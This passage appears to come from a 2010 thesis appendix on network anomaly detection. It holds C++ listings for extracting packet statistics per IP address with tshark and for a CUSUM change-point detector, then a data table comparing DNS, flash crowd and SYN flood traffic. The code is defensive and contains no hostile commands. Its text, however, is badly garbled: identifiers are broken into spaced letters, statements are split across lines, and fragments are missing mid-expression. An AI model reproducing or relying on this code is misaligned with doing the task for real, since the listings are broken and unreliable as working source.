i f ( f i l e L i n e . f i n d ( ” frames ” ) <
f i l e L i n e . s i z e ( ) ) {
pos1 = f i l e L i n e . f i n d ( ” ” ) ;
while ( pos1 >= f i l e L i n e . s i z e ( )
) { g e t l i n e ( inputF i l e ,
f i l e L i n e ) ; pos1 = f i l e L i n e .
f i n d ( ” ” ) ;}
// now we need to f i n d what
p r o t o c o l / l e v e l we are at
i f ( f i l e L i n e . subs t r ( 0 , 1 ) == ”
” ) {
while ( f i l e L i n e . subs t r (
pos1 , 1 ) == ” ” ) {
i f ( pos1 >=
f i l e L i n e .
s i z e ( ) ) {
g e t l i n e (
inputF i l e ,
f i l e L i n e ) ;
pos1 = 0 ;}
else {
pos1++; }
} // keep going t i l l
we f i n d data
} else { pos1 = 0 ; }
s u b l i n e = f i l e L i n e . subs t r ( pos1
) ;
l i n e t y p e = f i l e L i n e . subs t r (
pos1 , s u b l i n e . f i n d ( ” ” ) ) ;
// capture c u r r e n t l y s e t to
TCP only .
arrPos = ARRAY SIZE + 1 ;
for ( int i = 0 ; i <
typeArrCount ; i++) {
i f ( l i n e t y p e == proto [
i ] ) { arrPos = i ;
break ; }
}
i f ( arrPos == ARRAY SIZE + 1)
{ arrPos = typeArrCount ;
typeArrCount++; proto [
arrPos ] = l i n e t y p e ; }
capture = true ;
i f ( l i n e t y p e == ” tcp ” ) {
capture = true ; }
i f ( l i n e t y p e == ”udp” | |
l i n e t y p e == ” eth ” | |
l i n e t y p e == ” ip ” | |
l i n e t y p e == ” frame” ) {
capture = fa l se ; }
C.4 The procPhs.cpp Linux C++ Code 96
i f ( true ) { capture = true ; }
// o v e r r i d e f o r always on
mode
i f ( capture ) {
pos1 = f i l e L i n e . f i n d ( ”
frames : ” ) ;
i f ( pos1 != s t r i n g : :
npos ) {
pos2 =
f i l e L i n e .
subs t r ( pos1




a t o i (
f i l e L i n e .
subs t r ( pos1
+7, pos2 ) .
c s t r ( ) ) ;
} else { protoArr [
arrPos ] = 0 ; }
}
}
g e t l i n e ( inputF i l e , f i l e L i n e ) ;
}
g e t l i n e ( d i r L i s t , i n f i l e ) ;
for ( int i = 0 ; i < typeArrCount ; i++) {
ou tF i l e << protoArr [ i ] << ” , ” ;
}
ou tF i l e << endl ;
added = typeArrCount ;
}
ou tF i l e . c l o s e ( ) ;
ou tF i l e . open ( ” header . txt ” ) ;
for ( int i = 0 ; i < typeArrCount ; i++) {
ou tF i l e << proto [ i ] << ” , ” ;
}
ou tF i l e << endl ;
ou tF i l e . c l o s e ( ) ;
system ( ” cat header . txt > phsF i l e . csv ” ) ;
system ( ” cat o u t f i l e s / phsout . csv >> phsF i l e . csv ” ) ;
cout << ”Program Complete .\n” ;
}
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This code was used perform the IP address analysis of the packet trace data
Listing C.4: Program to extract packet flow by IP address.
/∗
Author : Tim Jordan 2010
Input : One Packet t r a c e f i l e (
l i b p c a p p compat i b l e ) .
Output : CSV f i l e c o n t a i n i n g a
breakdown of p a c k e t s t r a n s m i t t e d by l i s t o f IP a d d r e s s e s o f
a time per iod .
D e s c r i p t i o n o f Operation : Takes a packe t trace , and
s p l i t s up the p a c k e t s r e c e i v e d by IP address .
Notes : Runs on Linux system , r e q u i r e s
wireshark and r e l a t e d command l i n e t o o l s to be i n s t a l l e d .
Could be made win32 compl iant wi th





#include<s t r i ng>
#include<s t d l i b . h>
#define ARRAY SIZE 100
using namespace std ;
void systemCal l ( s t r i n g command) ;
f loat getMetr i c ( s t r i n g l i n e ) ;
int main ( ) {
// some program i n t r o s t u f f
cout << ”Program to proce s s Packet t r a c e s to e x t r a c t
packet / sec & bytes / sec data . ” << endl ;
cout << ” Written by Tim Jordan 2010 . ” << endl ;
cout << ”Outputs r e s u l t s to e x c e l f r i e n d l y csv f i l e . ”
<< endl ;
// var d e c l a r a t i o n s
i f s t r e a m d i r L i s t , IPcheck ;
o fs tream outF i l e ;
s t r i n g commStr , i n f i l e , t raceDir , i p a r r [ARRAY SIZE ] ;
const char ∗ commStrc ;
s i z e t pos1 ;
s i z e t pos2 ;
bool l oopvar = true ;
f loat metr ic = 0 . 0 , f r a t i o = 1 . 0 , minVal = 0 . 0 ;
int sampleNum = 1 ;
int metWeight = 2 ;
int totSample = 3541 ;
int windowSize = 100 , upto = 0 , index = 0 , f i l eCount =
0 ; ;
int httpFrames , dnsFrames , timeStamp = 0 . 0 ;
// ok , r e t r i e v e the l i s t IPs to ana lyse from t e x t f i l e
ou tF i l e . open ( ” i p d i s o u t . csv ” ) ;
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ou tF i l e << ”Time , ” ;
IPcheck . open ( ” IPcheck . txt ” ) ;
do {
s t r i n g temp ;
g e t l i n e ( IPcheck , temp ) ;
i p a r r [ index ] = temp ;
ou tF i l e << i p a r r [ index ] << ” packets , ” <<
i p a r r [ index ] << ” bytes , ” ;
index++;
} while ( ! IPcheck . e o f ( ) ) ;
ou tF i l e << endl ;
//
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
// cout << ” Enter the d i r e c t o r y where the packe t t r a c e
f i l e s are : ” ;
// c in >> i n f i l e ;
//
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
// s p l i t the f i l e s up i n t o the f i l t e r f i l e s
system ( ” l s −−format=s i n g l e−column /home/tim/temp/
f c 5 b i g ∗ > l s o u t . txt ” ) ;
d i r L i s t . open ( ” l s o u t . txt ” ) ;
g e t l i n e ( d i r L i s t , i n f i l e ) ;
ou tF i l e << timeStamp << ” , ” ;
while ( ! d i r L i s t . e o f ( ) ) {
f i l eCount++;
i f s t r e a m i n p u t F i l e [ index ] ;
s t r i n g f i l e L i n e [ index ] ;
f loat movMean [ index ] , cusumPPrev [ index ] , cusumNPrev [
index ] , samples [ index ] [ windowSize ] ; // ’ r i n g ’ array
to ho ld vars to c a l c moving mean ;
for ( int i = 0 ; i < index −1; i++) {
s t r i n g f i l e e x t ;
s t r i ng s t r eam ss ;
s s << i ; f i l e e x t = s s . s t r ( ) ;
// f i l t e r IP address
cout << ” F i l t e r i n g f i l e #” << i+1 << ” . . . ” <<
endl ;
commStr = ” tshark −R \” ip . addr == ” + i p a r r [ i ]
+ ”\” −r \”” + i n f i l e + ”\” −w i p o u t f i l e ”
+ f i l e e x t ;
cout << commStr << endl ;
commStrc = commStr . c s t r ( ) ;
system ( commStrc ) ;
// run s t a t a n a l y s i s on f i l t e r e d t r a c e
cout << ” F i l t e r i n g done . Now Analys ing f i l e #”
<< i+1 << ” . . . ” << endl ;
commStr = ” tshark −r i p o u t f i l e ” + f i l e e x t + ”
−q −z io , s tat , 60 > p r o c F i l e ” +f i l e e x t ;
commStrc = commStr . c s t r ( ) ;
cout << commStr << endl ;
system ( commStrc ) ;
i n p u t F i l e [ i ] . open ( ( ” p r o c F i l e ” + f i l e e x t ) . c s t r
( ) ) ;
g e t l i n e ( i n p u t F i l e [ i ] , f i l e L i n e [ i ] ) ;
// don ’ t proc es s non−data l i n e s
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cout << ” Ana lys i s done . Now priming up f i l e to
be proce s s ed . . . ” << endl ;
do { g e t l i n e ( i n p u t F i l e [ i ] , f i l e L i n e [ i ] ) ; }
while ( f i l e L i n e [ i ] . subs t r ( 0 , 4 ) != ”Time” ) ;




cout << ”Now outputt ing data to CSV f i l e . . . ” << endl ;
bool l oopvar = true , l ineadded = fa l se ;
while ( loopvar )
{
int eofCount = 0 , t o t a l [ 2 ] = {0 . 0} ;
l ineadded = fa l se ;
for ( int i = 0 ; i < index −1; i++) {
i f ( i n p u t F i l e [ i ] . e o f ( ) ) { eofCount ++;
}
}
i f ( eofCount >= index−1) { l oopvar = fa l se ;
continue ;}
for ( int i = 0 ; i < index −1; i++) {
//now pr oce ss the metr ic
int metr ic [ 2 ] = {0 . 0} ;
i f ( f i l e L i n e [ i ] . subs t r ( 0 , 1 ) == ”=” ) {
g e t l i n e ( i n p u t F i l e [ i ] , f i l e L i n e [ i ] ) ;
continue ;}
pos1 = f i l e L i n e [ i ] . f i n d ( ” ” ) ;
while ( f i l e L i n e [ i ] . subs t r ( pos1 +1 ,1) ==
” ” ) { pos1 ++; /∗ cout << ”SPACE”
<< end l ; ∗/ } // keep going t i l l we
f i n d data
// cout << ” pos1 = [” << pos1 << ” ]
s u b s t r = [” << l i n e . s u b s t r ( pos1
+1 ,1) << ”]” << end l ; // debug
output
i f ( pos1 < f i l e L i n e [ i ] . l ength ( ) ) {
pos2 = f i l e L i n e [ i ] . subs t r ( pos1
+1) . f i n d ( ” ” ) ;
// cout << ” pos2 = ” << pos2 <<
end l ; debug output
metr ic [ 0 ] = a t o i ( f i l e L i n e [ i ] .
subs t r ( pos1 , pos2+pos1 ) .
c s t r ( ) ) ;
pos1 = pos1 + pos2 + 1 ;
while ( f i l e L i n e [ i ] . subs t r ( pos1
+1 ,1) == ” ” ) { pos1 ++; /∗
cout << ”SPACE” << end l ; ∗/
} // keep going t i l l we
f i n d data
pos2 = f i l e L i n e [ i ] . subs t r ( pos1
) . f i n d ( ” ” ) ;
metr ic [ 1 ] = a t o i ( f i l e L i n e [ i ] .
subs t r ( pos1 , pos2+pos1 ) .
c s t r ( ) ) ;
}
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// samples [ i ] [ upto ] = metr ic ;
// cout << ” debug 2” << end l ;
// c a l c u l a t e s imple moving mean
/∗ don ’ t de t h i s b i t , j u s t output the
v a l u e s to a CSV f i l e .
f l o a t a g g r e g a t e = 0 . 0 ; // r e s e t t o t a l
f o r ( i n t j = 0 ; ( j <= windowSize−1 &&
j < sampleNum−1) ; j++) {
a g g r e g a t e = a g g r e g a t e +
samples [ i ] [ j ] ;
// cout << ” debug 3 j = ” << j << end l ;
}
i f ( windowSize < sampleNum ) {
movMean [ i ] = ( a g g r e g a t e /
windowSize ) ;
} e l s e {




i f ( upto >= windowSize ) { upto = 0; }
// r e s e t r i n g array index i f
r e q u i r e d .
f l o a t cusumPos = max( minVal , cusumPPrev
[ i ] + ( metr ic − metWeight∗movMean [ i
] ) ) ; // d e t e c t r i s e in mean
f l o a t cusumNeg = max( minVal , cusumNPrev
[ i ] − ( metr ic − ((1/ metWeight )∗
movMean [ i ] ) ) ) ; // d e t e c t drop in
mean
cout << ”Value : ” << metric << ” Mean
= ” << movMean [ i ] <<”, S(” <<
sampleNum << ”)+ = ” << cusumPos <<
” , S(” << sampleNum << ”)− = ” <<
cusumNeg << end l ;
o u t F i l e << ” ,” << metric << ” ,” <<
f r a t i o << ” ,” << movMean [ i ] << end l
;
cusumPPrev [ i ] = cusumPos ;
cusumNPrev [ i ] = cusumNeg ;
∗/
t o t a l [ 0 ] = t o t a l [ 0 ] + metr ic [ 0 ] ; t o t a l
[ 1 ] = t o t a l [ 1 ] + metr ic [ 1 ] ;
ou tF i l e << metr ic [ 0 ] << ” , ” << metr ic
[ 1 ] << ” , ” ;
g e t l i n e ( i n p u t F i l e [ i ] , f i l e L i n e [ i ] ) ;
l ineadded = true ;
}
i f ( l ineadded ) {
sampleNum++;
timeStamp++;
ou tF i l e << ” , ” << t o t a l [ 0 ] << ” , ” <<
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g e t l i n e ( d i r L i s t , i n f i l e ) ;
cout << ” Proce s s ing Complete .\n” ;
}
}
void systemCal l ( s t r i n g command) {
system (command . c s t r ( ) ) ;
return ;
}
f loat getMetr i c ( s t r i n g l i n e ) {
s i z e t pos1 , pos2 ;
f loat metr ic ;
// cout << ” l i n e = [” << l i n e << ”]” << end l ;
pos1 = l i n e . f i n d ( ” ” ) ;
while ( l i n e . subs t r ( pos1 +1 ,1) == ” ” ) { pos1 ++; /∗ cout
<< ”SPACE” << end l ; ∗/ } // keep going t i l l we f i n d
data
// cout << ” pos1 = [” << pos1 << ” ] s u b s t r = [” << l i n e
. s u b s t r ( pos1 +1 ,1) << ”]” << end l ; // debug output
i f ( pos1 < l i n e . l ength ( ) ) {
pos2 = l i n e . subs t r ( pos1+1) . f i n d ( ” ” ) ;
// cout << ” pos2 = ” << pos2 << end l ; debug
output
metr ic = a t o i ( l i n e . subs t r ( pos1 , pos2+pos1 ) .
c s t r ( ) ) ;
} else {metr ic = 0 . 0 ; /∗empty v a l u e ∗/}
return metr ic ;
}
f loat calcMean ( int window , int sample ) {
return 0 . 0 ;
}
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C.6 The cdetect.cpp Linux C++ Code
This code formed the program used for the Change Point Detector discussed through-
out the paper.
Listing C.5: Program to perform change detection analysis
/∗
c d e t e c t . cpp
Written by Tim Jordan 2010.
This program reads in a CSV f i l e and performs s t a t i s t c a l
a n a l y s i s on the data in the f i l e .






#include<s t r i ng>
#include<s t d l i b . h>
#include<cmath>
using namespace std ;
#define ARRAY SIZE 100
#define WINDOW SIZE 100
#define MAX STATES 100
#define STD DEV WINDOW 400
#define OUTPUT VARS 7
// Function D e f i n i t i o n s −−−−−−−−−−−−−−−−−−−−−−−−−
double stdDev (double ar r [ ] , double mean) ; // c a l c u l a t e s
s tandard d e v i a t i o n o f data s e t .
double getMean (double ar r [ ] , int a r r S i z e ) ; // c a l c u l a t e s the
mean o f a data s e t .
// −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
// Main Function −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
int main ( ) {
// Var iab l e D e c l a r a t i o n s −−−−−−−−−−−−−−−−−−−−−−−−−
i f s t r e a m d i r L i s t , i n p u t F i l e ;
o f s tream outF i l e [OUTPUT VARS] ;
s t r i ng s t r eam oss ;
s t r i n g f i l e L i n e , commStr , i n f i l e , t raceDir , t e s t S t r ;
const char ∗ commStrc ;
s i z e t pos1 , pos2 ;
bool colCounted = fa l se ;
int sampleNum = 1 , colCount = 1 , upto = 0 ; //mode = 0
s t a t i c , 1 = semi−t r a n s i s t i o n 2 = f u l l −t r a n s i s t i o n
double metr ic = 0 . 0 , aggregate = 0 . 0 , cusumPos = 0 . 0 ,
cusumNeg = 0 . 0 , movMean = 0 . 0 , testVar , dmean =
0 . 0 , minVal = 0 . 0 , dmet = 0 . 0 ;
double metWeight = 2 , samples [ARRAY SIZE ] [ WINDOW SIZE
] , stddev = 0 . 0 ; // ’ r i n g ’ array to ho ld vars to
c a l c moving mean
double dmeanArr [ARRAY SIZE ] [ WINDOW SIZE] , mdmean =
0 . 0 , dmeansd ;
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// I n i t i a l i s a t i o n −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
// ok , l e t s g e t the l i s t o f f i l e s to pro ces s
cout << ” Enter the name o f the CSV you want to proce s s
: ” ;
c in >> i n f i l e ;
i n p u t F i l e . open ( i n f i l e . c s t r ( ) ) ;
for ( int i = 0 ; i < OUTPUT VARS; i++) {
s t r i n g f i l ename ;
s t r i ng s t r eam tempss ; tempss << i ;
f i l ename = ” o u t f i l e s / cde t e c t ” + tempss . s t r ( ) +
” . csv ” ;
ou tF i l e [ i ] . open ( f i l ename . c s t r ( ) ) ;
}
// p r o c e s s i n g c o l headings l i n e
do {
g e t l i n e ( inputF i l e , f i l e L i n e ) ; pos1 = f i l e L i n e .
f i n d ( ” , ” ) ;
s t r i ng s t r eam oss2 ;
testVar = a t o f ( f i l e L i n e . subs t r (0 , pos1 ) . c s t r ( )
) ; o s s2 << testVar ; t e s t S t r = oss2 . s t r ( ) ;
// cout << ” tes tVar = [” << t e s tVar << ” ] ,
t e s t S t r = [” << t e s t S t r << ”]” << end l ;
i f ( f i l e L i n e . subs t r (0 , pos1 ) == t e s t S t r ) {
break ; }
i f ( ! colCounted ) { for ( int i = 0 ; i < f i l e L i n e
. l ength ( ) ; i++) {
i f ( f i l e L i n e [ i ] == ’ , ’ ) { colCount++; }
} colCounted = true ; }
ou tF i l e [ 0 ] << f i l e L i n e << endl ; // put a l l t he
heading l i n e s s t r a i g h t i n t o the output
ou tF i l e [ 1 ] << f i l e L i n e << endl ; // put a l l t he
heading l i n e s s t r a i g h t i n t o the output
ou tF i l e [ 2 ] << f i l e L i n e << endl ; // put a l l t he
heading l i n e s s t r a i g h t i n t o the output
ou tF i l e [ 3 ] << f i l e L i n e << endl ; // put a l l t he
heading l i n e s s t r a i g h t i n t o the output
ou tF i l e [ 4 ] << f i l e L i n e << endl ; // put a l l the
heading l i n e s s t r a i g h t i n t o the output
ou tF i l e [ 5 ] << f i l e L i n e << endl ; // put a l l the
heading l i n e s s t r a i g h t i n t o the output
ou tF i l e [ 6 ] << f i l e L i n e << endl ; // put a l l the
heading l i n e s s t r a i g h t i n t o the output
} while ( f i l e L i n e . subs t r (0 , pos1 ) != t e s t S t r ) ;
// d e c l a r e the v a r i a b l e s r e l a t e d to each column of
data be ing processed .
f loat cusumPPrev [ colCount ] , cusumNPrev [ colCount ] ,
movMeanPrev [ colCount ] , prevMet [ colCount ] ;
double s ta teArr [ colCount ] [ MAX STATES ] [ 2 ] ;
int modeArr [ colCount ] [ 1 5 ] , t ranc [ colCount ] , mode [
colCount ] , prevMode [ colCount ] , s t a t e c [ colCount ] ,
s t a t i c c [ colCount ] , cu r rS ta t e [ colCount ] ;
bool newState [ colCount ] ;
// b a s i c a l l y we j u s t want to grab each column o f the
csv f i l e and put i t through the f i l t e r
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bool f i r s t p a s s = true ;
// Main Process ing Loop
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
while ( ! i n p u t F i l e . e o f ( ) ) {
s t r i ng s t r eam outLine [ 1 0 ] ;
pos1 = 0 ;
for ( int i = 0 ; i < colCount ; i++) {
double mean = 0 . 0 , dmean = 0 . 0 ;
pos2 = f i l e L i n e . f i n d ( ” , ” ) ;
metr ic = a t o f ( f i l e L i n e . subs t r ( pos1 , pos2 ) . c s t r
( ) ) ;
samples [ i ] [ upto ] = metr ic ;
movMean = getMean ( samples [ i ] , sampleNum) ; //
mean o f samples
stddev = stdDev ( samples [ i ] , movMean) ;
i f ( f i r s t p a s s ) {
cusumPos = 0 ;
cusumNeg = 0 ;
cusumPPrev [ i ] = 0 ;
cusumNPrev [ i ] = 0 ;
prevMet [ i ] = 0 ;
movMeanPrev [ i ] = 0 ;
dmean = 0 ;
dmeanArr [ i ] [ upto ] = dmean ; // save dx
f o r l a t e r
mdmean = 0 ; // average dx
dmeansd = stdDev ( dmeanArr [ i ] , mdmean) ;
dmet = 0 ;
newState [ i ] = true ;
s t a t e c [ i ] = 0 ;
cu r rS ta t e [ i ] = 0 ;
} else {
dmean = movMean − movMeanPrev [ i ] ; //
r a t e o f change o f mean
dmeanArr [ i ] [ upto ] = dmean ; // save dx
f o r mean c a l c
mdmean = getMean ( dmeanArr [ i ] ,
sampleNum) ; // average dx
dmeansd = stdDev ( dmeanArr [ i ] , mdmean) ;
// Change Point Detec tor
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
i f (mdmean < 0) { cusumPos = 0 ;
cusumNeg = max( minVal , cusumNPrev [ i ]
+ ( abs (dmean) − abs ( metWeight∗
mdmean) ) ) ;}
else {cusumPos = max( minVal , cusumPPrev
[ i ] + (dmean − metWeight∗mdmean) ) ;
cusumNeg = 0 ;} // d e t e c t r i s e in
mean
// i f any o f the CUSUMs are p o s i t i v e a
p o s s i b l e s t a t e t r a n s i t i o n i s in
p r o g r e s s .
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i f ( ( cusumPos > 0 | | cusumNeg > 0) &&
sampleNum > 15) {
mode [ i ] = 1 ; t ranc [ i ]++;
i f ( prevMode [ i ] == 0) {
// s t a t e has changed
save curren t mean
and s t d d e v
i f ( i ==1) { cout << ”
Mode changed from 0
to 1 at sample #”
<< sampleNum << ”
newState [ i ] = ” <<
newState [ i ] << ” . . .
” << endl ;} //
debug code
i f ( newState [ i ] ) {
cout << ” he l l o
, i = ” <<
i << endl ;
// debug
s ta teArr [ i ] [
s t a t e c [ i
] ] [ 0 ] =
movMean ;
s ta teArr [ i ] [
s t a t e c [ i
] ] [ 1 ] =
stddev ;
s t a t e c [ i ]++;
s t a t i c c [ i ] =
0 ;
} else {
s ta teArr [ i ] [
cu r rS ta t e [ i
] ] [ 0 ] =
movMean ;
s ta teArr [ i ] [
cu r rS ta t e [ i
] ] [ 1 ] =
stddev ;






mode [ i ] = 0 ;
i f ( prevMode [ i ] == 1) {
i f ( i ==1) { cout << ”Mode changed from
1 to 0 at sample #” << sampleNum <<
” . . . ” << endl ;} // debug code
s t a t i c c [ i ] = 0 ;
}
i f ( prevMode [ i ] == 0) {
// we want to see how long we have
been in ’ s t a t i c ’ mode ,
// i f the system i s s t a t i c f o r a
per iod o f time , then compare mean
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//
wi th the o th er s t a t i c mode means .
i f ( i ==1) { cout << ”Mode has been
s t a t i c f o r ” << s t a t i c c [ i ] << ”
samples . . . ” << endl ;} // debug code
// New S t a t e Detector
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
// we only want to check f o r s t a t e
change i f system i s s t a b l e
i f ( s t a t i c c [ i ] >= 30) {
// ok , s t a b l e system , compare
curren t mean .
bool foundMatch = fa l se ;
for ( int k = 0 ; k < s t a t e c [ i
]−1; k++) {







s ta teArr [ i
] [ k ] [ 0 ] <<
” , o ld s td =
” <<
s ta teArr [ i




i f ( (movMean <= ( stateArr [ i ] [ k
] [ 0 ] + stateArr [ i ] [ k ] [ 1 ] ) )
&&
(movMean >= ( stateArr [ i ] [ k ] [ 0 ]
− s ta teArr [ i ] [ k ] [ 1 ] ) ) ) {
// S t a t e has not
changed −−−−−−−−−−
cu r rS ta t e [ i ] = k ;
newState [ i ] = fa l se ;




// I f no s t a t e matches are found , then
the system i s in a new s t a t e .





s t a t i c c [ i ]++;
}
}
dmet = metr ic − prevMet [ i ] ;
cusumPPrev [ i ] = cusumPos ;
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cusumNPrev [ i ] = cusumNeg ;
prevMet [ i ] = metr ic ;
movMeanPrev [ i ] = movMean ;
prevMode [ i ] = mode [ i ] ;
}
outLine [ 0 ] << movMean << ” , ” ; outLine [ 1 ] <<
cusumPos << ” , ” ; outLine [ 2 ] << cusumNeg <<
” , ” ; outLine [ 3 ] << dmean << ” , ” ;
outLine [ 4 ] << mdmean << ” , ” ; outLine [ 5 ] <<
stddev << ” , ” ; outLine [ 6 ] << mode [ i ] << ” , ”
;
f i l e L i n e = f i l e L i n e . subs t r ( pos2+1) ;
}
f i r s t p a s s = fa l se ;
g e t l i n e ( inputF i l e , f i l e L i n e ) ;
for ( int i = 0 ; i < OUTPUT VARS; i++) { ou tF i l e [ i ] <<
outLine [ i ] . s t r ( ) << endl ; }
upto++;
i f ( upto >= WINDOW SIZE) { upto = 0 ; } // r e s e t r i n g
array index i f r e q u i r e d .
sampleNum ++;
}
// Output s t a t e in format ion c o l l e c t e d during a n a l y s i s
−−−−−−−−−−
for ( int j = 0 ; j < colCount ; j++) {
cout << ” Total S ta t e s = ” << s t a t e c [ j ] << endl
;
for ( int i = 0 ; i < s t a t e c [ j ] ; i++) {
cout << ”#” << i+1 << ” : mean = ” <<
s ta teArr [ j ] [ i ] [ 0 ] << ” stddev = ”
<< s ta teArr [ j ] [ i ] [ 1 ] << endl ;
}
}
cout << ” Proce s s ing complete . ” << endl ;
return 0 ;
// A l l Done !
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
}
// Function D e f i n i t i o n s −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
double stdDev (double ar r [ ] , double mean) {
double var iance = 0 . 0 ;
for ( int i = 0 ; i < WINDOW SIZE; i++) {
var iance = var iance + pow( ar r [ i ] − mean , 2 ) ;
}
var iance = var iance / (WINDOW SIZE − 1) ;
return s q r t ( var iance ) ;
}
double getMean (double ar r [ ] , int a r r S i z e ) {
double aggregate = 0 . 0 ; // r e s e t t o t a l
for ( int j = 0 ; ( j <= WINDOW SIZE−1 && j < ar rS i z e −1) ;
j++) {
aggregate = aggregate + arr [ j ] ;
// cout << ” debug 3 j = ” << j << end l ;
}
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i f (WINDOW SIZE < a r r S i z e ) { return ( aggregate /






Signal Processing Data Table
The following table contains all the data used in the change detection program, which
produced the results shown in Chapter 7. An electronic copy of this data or the full
packet traces are available upon request.
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Sample
DNS Data Flash Crowd 2 Data Flash Crowd 1 Data SYN Flood Data
frame http http ftp
0 0 0 0 0 0 0 0 0 0 0 0 0
1 20 10.5 5 603.5 61 116 179 127 393 2 9 6
2 56.6667 39.3333 6 1007.67 82.6667 251.333 204.667 188.333 523.667 1.33333 6 4
3 79.5 57.75 7 1127.75 97 268.25 245.75 205 545.5 4 21.25 3
4 85.8 62.4 7.6 1237.4 104 301.6 279 214.4 582.4 3.2 17 2.4
5 79 56.1667 7.83333 2758.33 108.667 1147.17 332.2 290 692.6 2.66667 14.1667 2
6 75.7143 52.1429 8.14286 2580 110.857 1037.14 364.6 290.8 669 2.28571 12.1429 1.71429
7 71.375 48 8 8214.38 114 3735 363.4 265.4 680.8 2 10.625 1.5
8 75.7778 51.7778 8.22222 8903.89 117.333 4097.67 370.8 253 657.2 3.11111 15.4444 1.33333
9 216.7 66.1 13.5 8183 119.2 3731.4 395 240.6 645.6 3 14.8 1.2
10 312.3 115.2 14.2 8382.3 133.8 3786.5 379.6 228.8 645.6 3 14.8 1.2
11 329.3 131.5 14.4 8341.5 133.8 3766.2 374.4 204 669.4 3 14.8 1.2
12 345.7 146.7 14.3 8372.1 134.4 3780.7 352.8 229.2 669.2 3 14.7 1.2
13 356.2 156.5 14.3 8384.5 137 3780.7 335.6 217.6 692.4 3 14.7 1.2
14 378.5 176.5 14.4 7514.2 139 3280.9 321.2 217.4 703.8 3 14.7 3.2
15 399.7 196.4 14.3 7522.6 139.6 3283.8 325.8 229.2 715 3 14.7 3.2
16 422.8 217.5 14.6 2934.9 139 1071.1 329.8 229.2 714.8 5 42.8 3.2
17 430.4 225.2 14.6 1666.5 137.8 417.6 329.4 229.4 739.6 5 42.8 3.2
18 303.7 224.7 9.1 1669.1 137.2 420.5 329.6 228.6 716 5 42.8 3.2
19 266.7 219.2 8.4 1634.5 134.4 411.8 339 241.2 717 5 42.8 2
20 248.2 211.6 9 1636.8 135 411.8 358 203.8 717.6 4.6 41 3.2
21 245.4 208.6 9 1678.8 137.4 426.3 331.6 228.6 683 4.6 41 4.2
22 239.5 203.5 9 1659.9 137 417.6 363.8 239.8 646.4 3.4 34.5 4.2
23 240.9 205.8 8 1648.4 134.6 417.6 354 252.6 658.6 4.6 41.1 4.2
24 232.3 198.3 7.9 1646.3 133 420.5 366.2 252 680.8 5.6 46.6 2.2
25 224.2 191 8 1632.1 132.4 414.7 333.4 265 657.8 5.6 46.6 2.2
26 215 183.4 7.3 1618 134.2 403.1 328.4 227.6 681 3.6 18.5 2.2
27 216.4 184 7.3 1620.2 134.8 403.1 329.6 191.6 705 3.4 17.5 2.2
28 220.9 186.5 7.7 1623 136.4 400.2 338.2 204.4 727.2 3.2 16.6 2.2
29 226.6 190.2 8.1 1648.9 137.8 408.9 308.6 193 705 3.2 16.6 2.2
30 300.7 193.7 10.2 1671.5 138.4 417.6 413.6 180 727.2 3.2 16.6 2.4
31 334.6 191.2 10.7 1649.4 136.4 411.8 656 191.8 727 3.2 16.6 1.4
32 378.8 195.8 11.3 1796.9 134.4 490.1 625.4 216 702.8 4.6 24.2 1.4
33 422.3 198.8 12.8 1931.2 134.4 556.8 676 215.6 691.8 3.4 17.6 1.4
34 465.9 203.2 13.4 1938.1 133.6 562.6 796.6 227.2 679.6 2.4 12.1 1.4
35 504.3 202.9 13.9 2200.4 133.4 693.1 740.8 240.2 680.8 2.4 12.1 1.4
36 552.1 204.8 15.4 2318 133.2 751.1 617 253.6 657.6 2.4 12.1 1.4
37 549.3 200.8 15.4 2516.4 132.8 849.7 820.6 266.6 669.8 2.4 12.2 1.4
38 541.4 193.1 15.4 2724.7 131.2 957 1067.2 253.6 681.2 2.4 12.2 1.4
39 544.9 192.4 15.4 2805.3 131 997.6 1150.2 253.2 681.4 2.4 12.2 1.8
40 483.8 195.9 13.3 3083 130.6 1136.8 1392.8 253.4 668.8 2.4 12.2 1.6
41 454.3 197.9 12.8 3410.5 131.6 1296.3 1398.8 265.6 669 2.4 12.2 1.6
42 407.6 186.1 12.3 3410.5 133 1293.4 1275.6 240.8 657 2.6 13.4 1.6
43 364 177.2 11.4 3535.2 134.4 1351.4 1105.6 230.2 645.8 2.6 13.4 1.6
44 368.9 173.7 11.6 3826 133.4 1499.3 1245.2 193.6 668.8 2.6 13.4 1.6
45 338.9 176 11.1 3989.1 134.4 1577.6 1415.4 218 669.2 2.6 13.4 1.6
46 300.5 176.4 10.3 4122 133.2 1647.2 1611.4 218.6 681.2 2.6 13.4 2.8
47 313.1 183.8 10.3 4217.7 132.8 1696.5 1767 217.8 693.4 2 10.7 2.8
48 326.1 191.8 10.2 4257.8 132.8 1716.8 1768.8 229.2 681.2 3.2 27.5 2.8
49 322.8 188.2 10.1 4454 139.2 1798 1492.4 266.2 669.8 3.2 27.5 3.8
50 311.2 177.1 9.8 4567.7 144.2 1841.5 1128.2 229.6 693.6 3.2 27.5 2.6
51 312.5 177.7 9.4 4587 147.8 1842.6 1180.8 204.8 712.6 3.2 27.5 3.8
52 323.5 187.4 9.3 4744.1 146.4 1923.8 1020.4 217.8 712.4 3 26.3 4.2
53 331.7 194.5 9.7 4667.8 145.6 1889 963.4 242.2 735.8 3 26.3 4.2
54 295.9 199.4 9 4637.5 149.2 1862.9 1015.6 230.2 735.2 4.6 35.1 4.2
55 300.1 203.5 8.8 4484.1 150 1784.6 1367 242.6 711.2 4.6 35.1 4.2
56 303.5 206.7 8.8 4473.2 150 1778.8 1645.2 229.4 714.6 4.6 35.1 3
57 297.4 202.1 8.7 4474.1 150.2 1778.8 2185.4 241.8 738 4.2 33.3 3
58 291.4 196.8 8.8 4534.9 150.6 1807.8 2502.2 229.6 738.2 3 16.5 3
